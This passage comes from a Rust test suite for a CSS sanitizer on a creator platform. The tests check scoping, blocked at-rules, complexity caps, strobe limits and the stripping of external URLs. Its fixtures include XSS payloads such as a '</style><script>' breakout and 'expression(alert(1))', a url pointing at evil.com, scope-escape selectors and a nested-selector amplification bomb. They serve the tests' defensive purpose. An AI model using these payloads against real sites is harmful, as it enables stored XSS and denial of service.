896 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
897 }
898
899 #[test]
900 fn slow_infinite_animation_kept() {
901 let (out, rej) = san(".spin { animation: spin 3s infinite }");
902 assert!(out.to_lowercase().contains("animation"));
903 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
904 }
905
906 #[test]
907 fn fast_high_finite_count_animation_dropped() {
908 // UX-M5: a fast animation with a high *finite* iteration-count strobes too,
909 // not just `infinite`.
910 let (out, rej) = san(".spin { animation: spin 1s linear 100 }");
911 assert!(!normalize(&out).contains("animation:spin"));
912 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
913
914 // Explicit property form is caught as well.
915 let (_out2, rej2) = san(
916 ".spin { animation-name: spin; animation-duration: 0.5s; animation-iteration-count: 50 }",
917 );
918 assert!(
919 rej2.iter()
920 .any(|r| r.kind == RejectionKind::AnimationBudget)
921 );
922 }
923
924 #[test]
925 fn fast_low_finite_count_animation_kept() {
926 // A handful of iterations at a fast duration is fine, not a strobe.
927 let (out, rej) = san(".spin { animation: spin 1s linear 3 }");
928 assert!(out.to_lowercase().contains("animation"));
929 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
930 }
931
932 #[test]
933 fn expression_function_recorded() {
934 let (out, rej) = san(".x { width: expression(alert(1)) }");
935 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedFunction));
936 // Behavior must match the "blocked" contract: the output must not contain
937 // a working expression() call or its payload.
938 let lower = out.to_ascii_lowercase();
939 assert!(
940 !lower.contains("expression("),
941 "expression() must be neutralized in output: {out}"
942 );
943 assert!(
944 !lower.contains("alert(1)"),
945 "expression() payload must be stripped: {out}"
946 );
947 }
948
949 #[test]
950 fn brace_injection_cannot_escape_scope() {
951 // A creator trying to break out of the wrapper: the parse round-trip
952 // makes the stray brace a no-op, so nothing lands unscoped.
953 let out = scoped("color: red } body { background: red");
954 assert!(!out.contains("\nbody {"));
955 assert!(!out.contains("} body{"));
956 }
957
958 #[test]
959 fn platform_chrome_is_unreachable_from_creator_css() {
960 // The guarantee behind `templates/custom/_chrome_style.html`. The header
961 // and footer are siblings of the canvas, not descendants, so a creator
962 // rule that names them is still emitted under the canvas and matches
963 // nothing. This holds by structure, not by specificity or cascade layer,
964 // which is why the chrome block needs no !important and no layer of its
965 // own.
966 const CANVAS: &str = ".user-canvas#uc-11111111-1111-1111-1111-111111111111";
967 for attempt in [
968 ".mnw-chrome { display: none }",
969 ".mnw-chrome { background: red }",
970 ".mnw-chrome-footer a { color: red }",
971 "body .mnw-chrome { background: red }",
972 "html body .mnw-chrome-brand { font-weight: 100 }",
973 "* { background: red }",
974 ":root .mnw-chrome { background: red }",
975 ".mnw-chrome-actions, .mnw-chrome-brand { visibility: hidden }",
976 ] {
977 let out = scoped(attempt);
978 for line in out.lines().filter(|l| l.contains(".mnw-chrome")) {
979 assert!(
980 line.contains(CANVAS),
981 "a chrome selector escaped the canvas: {line}\nfrom: {attempt}"
982 );
983 }
984 // Nothing may be emitted at the top level of the sheet.
985 assert!(
986 !out.trim_start().starts_with(".mnw-chrome"),
987 "unscoped chrome rule from: {attempt}"
988 );
989 }
990 }
991
992 #[test]
993 fn idempotent_on_sanitized_output() {
994 let once =
995 scoped("p{color:red} .mnw-buy{display:none} .x{background:url(https://evil.com/y)}");
996 let twice = scoped(&once);
997 // Scoping a second time nests under the canvas again but must stay safe:
998 // no external host, no display:none on mnw, reduced-motion present.
999 assert!(!twice.contains("evil.com"));
1000 assert!(twice.contains("prefers-reduced-motion"));
1001 }
1002
1003 #[test]
1004 fn unsafe_scope_refused() {
1005 let (out, rej) = sanitize_css("p{color:red}", "evil}injection", &policy());
1006 assert_eq!(out, "");
1007 assert_eq!(rej.len(), 1);
1008 assert_eq!(rej[0].kind, RejectionKind::MalformedCss);
1009 }
1010
1011 /// Minify sanitized output so each rule is `selector{decls}` on no
1012 /// whitespace, for invariant checks.
1013 fn minify(css: &str) -> String {
1014 StyleSheet::parse(css, parser_options())
1015 .unwrap()
1016 .to_css(PrinterOptions {
1017 minify: true,
1018 ..Default::default()
1019 })
1020 .unwrap()
1021 .code
1022 }
1023
1024 #[test]
1025 fn universal_and_not_selectors_are_scoped() {
1026 // Selectors that classically escape a scope must all end up confined to
1027 // the canvas: no rule may begin with a bare html/body/* selector.
1028 for css in [
1029 "* { color: red }",
1030 ":not(.x) { color: red }",
1031 "html, body { color: red }",
1032 ":root { color: red }",
1033 ] {
1034 let out = minify(&scoped(css));
1035 for bad in ["}*{", "}body{", "}html{", "}:root{"] {
1036 assert!(!out.contains(bad), "unscoped `{bad}` in: {out}");
1037 }
1038 for bad in ["^*{", "^body{", "^html{"] {
1039 let lead = bad.trim_start_matches('^');
1040 assert!(
1041 !out.starts_with(lead),
1042 "leads with unscoped `{lead}`: {out}"
1043 );
1044 }
1045 assert!(out.contains(".user-canvas#uc-"), "scope missing: {out}");
1046 }
1047 }
1048
1049 #[test]
1050 fn media_wrapped_escape_is_scoped() {
1051 let out = scoped("@media screen { body { background: red } }");
1052 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
1053 }
1054
1055 #[test]
1056 fn style_tag_breakout_via_content_string_is_neutralized() {
1057 // The sanitized output is injected raw into `<style>{{ css|safe }}</style>`
1058 // (templates/custom/*.html). The most direct stored-XSS attempt is a
1059 // declaration whose value is a string closing the tag and opening a
1060 // script. The serializer must never emit a literal `</style>` (or a bare
1061 // `<script>`), `<` inside a CSS string token has to come back escaped.
1062 for css in [
1063 r#".x { content: "</style><script>alert(1)</script>" }"#,
1064 r".x::before { content: '</STYLE><SCRIPT>alert(1)</SCRIPT>' }",
1065 r#".x { content: "\3c /style\3e <script>" }"#,
1066 // url() is dropped (external) but the string form must also be safe.
1067 r#".x { background: url("</style><script>x</script>") }"#,
1068 ] {
1069 let out = scoped(css);
1070 let lower = out.to_lowercase();
1071 assert!(
1072 !lower.contains("</style>"),
1073 "literal </style> escaped the block for input `{css}`: {out}"
1074 );
1075 assert!(
1076 !lower.contains("<script>"),
1077 "literal <script> escaped the block for input `{css}`: {out}"
1078 );
1079 }
1080 }
1081
1082 // ── Newer blocked at-rules (the UX-S2 exhaustive-match additions) ──
1083 //
1084 // The match in `visit_rule` has no wildcard arm, so a future lightningcss
1085 // variant fails to COMPILE until triaged, the compiler enforces that no
1086 // variant is both blocked and allowed (a variant can't appear in two arms of
1087 // one match). These tests pin the RUNTIME behavior the compile-check can't:
1088 // that lightningcss parses each of these at-rules into the variant the match
1089 // blocks, so they are actually stripped and recorded rather than emitted.
1090
1091 fn assert_blocked_at_rule(css: &str, marker: &str) {
1092 let (out, rej) = san(css);
1093 assert!(
1094 !out.to_lowercase().contains(marker),
1095 "blocked at-rule `{marker}` leaked into output: {out}"
1096 );
1097 assert!(
1098 rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule),
1099 "no BlockedAtRule rejection recorded for `{marker}`"
1100 );
1101 // A sibling plain rule still survives, only the at-rule is dropped.
1102 assert!(out.contains("color"), "sibling style rule was lost: {out}");
1103 }
1104
1105 #[test]
1106 fn rejects_container() {
1107 assert_blocked_at_rule(
1108 "@container (min-width: 100px) { p { background: red } } p { color: red }",
1109 "@container",
1110 );
1111 }
1112
1113 #[test]
1114 fn rejects_scope() {
1115 assert_blocked_at_rule(
1116 "@scope (.a) { p { background: red } } p { color: red }",
1117 "@scope",
1118 );
1119 }
1120
1121 #[test]
1122 fn rejects_starting_style() {
1123 assert_blocked_at_rule(
1124 "@starting-style { p { background: red } } p { color: red }",
1125 "@starting-style",
1126 );
1127 }
1128
1129 #[test]
1130 fn rejects_view_transition() {
1131 assert_blocked_at_rule(
1132 "@view-transition { navigation: auto } p { color: red }",
1133 "@view-transition",
1134 );
1135 }
1136
1137 // ---- The caps, at their exact boundaries -------------------------------
1138 //
1139 // A cap tested only far past its limit does not pin the comparison: `>` and
1140 // `>=` agree on 5001 rules and disagree on 5000, so the boundary is where
1141 // the test has to stand.
1142
1143 /// `n` single-selector rules: rule-heavy, selector-light.
1144 fn n_rules(n: usize) -> String {
1145 use std::fmt::Write;
1146 let mut css = String::new();
1147 for i in 0..n {
1148 let _ = write!(css, ".c{i}{{color:red}}");
1149 }
1150 css
1151 }
1152
1153 /// One rule carrying `n` selectors: selector-heavy, rule-light. Its
1154 /// flattening projection is `n` as well, since the projection takes the
1155 /// widest rule rather than the sum.
1156 fn one_rule_of(n: usize) -> String {
1157 let selectors = (0..n)
1158 .map(|i| format!(".s{i}"))
1159 .collect::<Vec<_>>()
1160 .join(",");
1161 format!("{selectors}{{color:red}}")
1162 }
1163
1164 fn refused_for_complexity(css: &str) -> bool {
1165 let (out, rejections) = san(css);
1166 out.is_empty()
1167 && rejections
1168 .iter()
1169 .any(|r| r.kind == RejectionKind::ComplexityLimit)
1170 }
1171
1172 #[test]
1173 fn exactly_max_rules_is_accepted() {
1174 let (out, rejections) = san(&n_rules(MAX_RULES));
1175 assert!(
1176 !rejections
1177 .iter()
1178 .any(|r| r.kind == RejectionKind::ComplexityLimit),
1179 "the limit is inclusive: {MAX_RULES} rules are allowed"
1180 );
1181 assert!(!out.is_empty());
1182 }
1183
1184 #[test]
1185 fn one_rule_past_the_cap_is_refused() {
1186 // Rule-heavy and nothing else: this sheet's selector count and its
1187 // flattening projection both stay far inside their limits, so only the
1188 // rule half of the comparison can refuse it.
1189 assert!(refused_for_complexity(&n_rules(MAX_RULES + 1)));
1190 }
1191
1192 #[test]
1193 fn exactly_max_selectors_is_accepted() {
1194 let (out, rejections) = san(&one_rule_of(MAX_SELECTORS));
1195 assert!(
1196 !rejections
1197 .iter()
1198 .any(|r| r.kind == RejectionKind::ComplexityLimit),
1199 "the limit is inclusive: {MAX_SELECTORS} selectors are allowed, and \
1200 the flattening projection of one such rule is exactly the limit too"
1201 );
1202 assert!(!out.is_empty());
1203 }
1204
1205 #[test]
1206 fn the_selector_cap_is_reached_by_breadth_too() {
1207 // 200 rules of 51 selectors: 10,200 selectors, which is past the cap,
1208 // while rule_count (200) and the projection (51, the widest rule) are
1209 // both nowhere near theirs. This is the shape that proves
1210 // `selector_count` accumulates at all, since a counter that never
1211 // leaves zero is invisible to every other check.
1212 use std::fmt::Write;
1213 let mut css = String::new();
1214 for rule in 0..200 {
1215 let selectors = (0..51)
1216 .map(|s| format!(".r{rule}s{s}"))
1217 .collect::<Vec<_>>()
1218 .join(",");
1219 let _ = write!(css, "{selectors}{{color:red}}");
1220 }
1221 assert!(refused_for_complexity(&css));
1222 }
1223
1224 // ---- The flattening projection ----------------------------------------
1225
1226 /// The nested-`&` bomb from infra `bd562c12`, ~30x per level.
1227 fn amplifying_rule() -> String {
1228 let amp = "&".repeat(30);
1229 format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}")
1230 }
1231
1232 #[test]
1233 fn nested_amplification_is_refused_inside_at_rules_too() {
1234 // The projection has to descend through the grouping at-rules it allows,
1235 // or the bomb is one `@media print` away from being invisible again.
1236 let inner = amplifying_rule();
1237 for css in [
1238 format!("@media print {{ {inner} }}"),
1239 format!("@supports (display: grid) {{ {inner} }}"),
1240 format!("@layer base {{ {inner} }}"),
1241 ] {
1242 assert!(
1243 refused_for_complexity(&css),
1244 "amplification survived its wrapper: {css:.60}"
1245 );
1246 }
1247 }
1248
1249 #[test]
1250 fn the_projection_walks_past_the_first_rule() {
1251 // The early return at the foot of the walk is an optimisation, and an
1252 // optimisation that fires too early is a hole: a cheap rule first, the
1253 // bomb second.
1254 let css = format!(".a {{ color: red }} {}", amplifying_rule());
1255 assert!(refused_for_complexity(&css));
1256 }
1257
1258 // ---- Parser options ----------------------------------------------------
1259
1260 #[test]
1261 fn nesting_survives_into_the_output() {
1262 // `ordinary_nesting_is_not_refused` passes even with nesting disabled,
1263 // because the outer declarations still print. Assert the nested rule
1264 // itself arrives.
1265 let out = scoped(".card { color: red; &:hover { color: blue } }");
1266 assert!(
1267 out.contains(":hover"),
1268 "the nested rule was dropped rather than parsed: {out}"
1269 );
1270 }
1271
1272 #[test]
1273 fn one_bad_rule_does_not_discard_the_sheet() {
1274 // A stray `}` is a hard parse error without error recovery, and this
1275 // crate's answer to a fatal parse failure is to render nothing at all.
1276 // Recovery is what keeps one typo from blanking a creator's page. It
1277 // does not save everything: recovery still discards from the stray
1278 // brace onward, so `h1` is gone either way and `p` is the difference.
1279 let (out, rejections) = san("p { color: red } } h1 { color: blue }");
1280 assert!(
1281 !rejections
1282 .iter()
1283 .any(|r| r.kind == RejectionKind::MalformedCss),
1284 "one stray brace discarded the whole sheet: {rejections:?}"
1285 );
1286 assert!(
1287 out.to_lowercase().contains("red"),
1288 "the whole sheet was discarded: {out}"
1289 );
1290 }
1291
1292 // ---- The item-page entry point -----------------------------------------
1293
1294 #[test]
1295 fn item_css_is_scoped_to_the_item_canvas() {
1296 // The only test that enters through `sanitize_item_css`. Without it the
1297 // whole function is unobserved: item pages have no HTML of their own,
1298 // so a wrong scope here styles nothing and nobody sees an error.
1299 let (out, rejections) = sanitize_item_css("p { color: red }", SCOPE, &policy());
1300 assert!(rejections.is_empty());
1301 assert!(
1302 out.contains(&format!(".item-canvas#ic-{SCOPE}")),
1303 "item CSS was not scoped to the item canvas: {out:.200}"
1304 );
1305 }
1306
1307 // ---- Reaching a system slot through the selector forms -----------------
1308
1309 #[test]
1310 fn hiding_a_system_slot_through_any_and_host_is_stripped() {
1311 // `:is`/`:where`/`:not`/`:has` have their own arm and their own test.
1312 // These two do not, and a selector form the walk does not recurse into
1313 // is a way to hide a buy button.
1314 for selector in [":-webkit-any(.mnw-buy)", ":host(.mnw-buy)"] {
1315 let (_out, rejections) = san(&format!("{selector} {{ display: none }}"));
1316 assert!(
1317 rejections
1318 .iter()
1319 .any(|r| r.kind == RejectionKind::HidingProperty),
1320 "{selector} reached a system slot unchecked"
1321 );
1322 }
1323 }
1324
1325 // ---- The hiding heuristics, on their visible side ----------------------
1326
1327 #[test]
1328 fn the_hiding_thresholds_keep_what_is_still_visible() {
1329 // Every one of these is one comparison away from being a hide, and the
1330 // suite only ever asserted the hiding side. A guard that also eats
1331 // ordinary declarations is a bug creators would hit and we would not.
1332 for decl in [
1333 // The threshold is `< 0.1`, so a tenth is still visible.
1334 "opacity: 0.1",
1335 // A transform is not a hide unless it scales to nothing.
1336 "transform: translateX(10px)",
1337 // Nor is a clip-path unless it clips everything away.
1338 "clip-path: inset(0)",
1339 // The text-indent trick is large and NEGATIVE.
1340 "text-indent: 5px",
1341 ] {
1342 let (out, rejections) = san(&format!(".mnw-buy {{ {decl} }}"));
1343 assert!(
1344 !rejections
1345 .iter()
1346 .any(|r| r.kind == RejectionKind::HidingProperty),
1347 "{decl} is visible and was stripped anyway"
1348 );
1349 assert!(!out.is_empty(), "{decl} produced nothing");
1350 }
1351 }
1352
1353 // ---- The strobe guard, at its boundary ---------------------------------
1354
1355 #[test]
1356 fn an_infinite_animation_at_exactly_two_seconds_is_kept() {
1357 // The budget is "faster than 2s", so 2s itself is allowed.
1358 let (out, rejections) = san(".spin { animation: spin 2s infinite }");
1359 assert!(
1360 !rejections
1361 .iter()
1362 .any(|r| r.kind == RejectionKind::AnimationBudget),
1363 "2s is the allowed side of the boundary"
1364 );
1365 assert!(out.to_lowercase().contains("animation"));
1366 }
1367
1368 #[test]
1369 fn milliseconds_are_read_as_milliseconds() {
1370 // A unit test rather than a sheet, because lightningcss prints
1371 // `3000ms` back as `3s` and the ms branch is only reliably reached from
1372 // here. Getting the conversion wrong in either direction lets a 500ms
1373 // strobe through or eats a three-second animation.
1374 assert_eq!(parse_seconds("500ms"), Some(0.5));
1375 assert_eq!(parse_seconds("3000ms"), Some(3.0));
1376 assert_eq!(parse_seconds("2s"), Some(2.0));
1377 assert_eq!(parse_seconds("infinite"), None);
1378 }
1379 }
1380
1381 #[cfg(test)]
1382 mod proptests {
1383 use super::*;
1384 use proptest::prelude::*;
1385
1386 const SCOPE: &str = "22222222-2222-2222-2222-222222222222";
1387
1388 fn policy() -> UrlPolicy {
1389 UrlPolicy::new(
1390 "https://u.makenot.work/a/p",
1391 [
1392 "makenot.work".to_string(),
1393 "u.makenot.work".to_string(),
1394 "cdn.makenot.work".to_string(),
1395 ],
1396 )
1397 .unwrap()
1398 }
1399
1400 proptest! {
1401 // Arbitrary input never panics, and the output is always valid CSS
1402 // (it re-parses cleanly).
1403 #[test]
1404 fn never_panics_output_reparses(input in "\\PC{0,400}") {
1405 let (out, _rej) = sanitize_css(&input, SCOPE, &policy());
1406 prop_assert!(StyleSheet::parse(&out, parser_options()).is_ok(), "invalid output: {out}");
1407 }
1408
1409 // A randomly-built external url() is always neutralized.
1410 #[test]
1411 fn external_url_always_stripped(host in "[a-z]{3,10}", tld in "(com|net|io|xyz)", path in "[a-z0-9]{1,10}") {
1412 let domain = format!("{host}.{tld}");
1413 let css = format!(".x {{ background: url(https://{domain}/{path}) }}");
1414 let out = sanitize_css(&css, SCOPE, &policy()).0;
1415 let leaked = out.contains(&domain);
1416 prop_assert!(!leaked, "leaked host: {}", out);
1417 }
1418
1419 // Every non-empty sanitized sheet confines its style rules to the canvas
1420 // and ends with the reduced-motion guard.
1421 #[test]
1422 fn always_scoped_and_guarded(sel in "[a-z][a-z0-9]{0,8}", prop in "(color|background-color|margin)") {
1423 let css = format!("{sel} {{ {prop}: inherit }}");
1424 let out = sanitize_css(&css, SCOPE, &policy()).0;
1425 let scope_tag = format!("uc-{SCOPE}");
1426 let has_scope = out.contains(&scope_tag);
1427 let has_guard = out.contains("prefers-reduced-motion");
1428 prop_assert!(has_scope, "missing scope: {}", out);
1429 prop_assert!(has_guard, "missing guard: {}", out);
1430 }
1431 }
1432 }
1433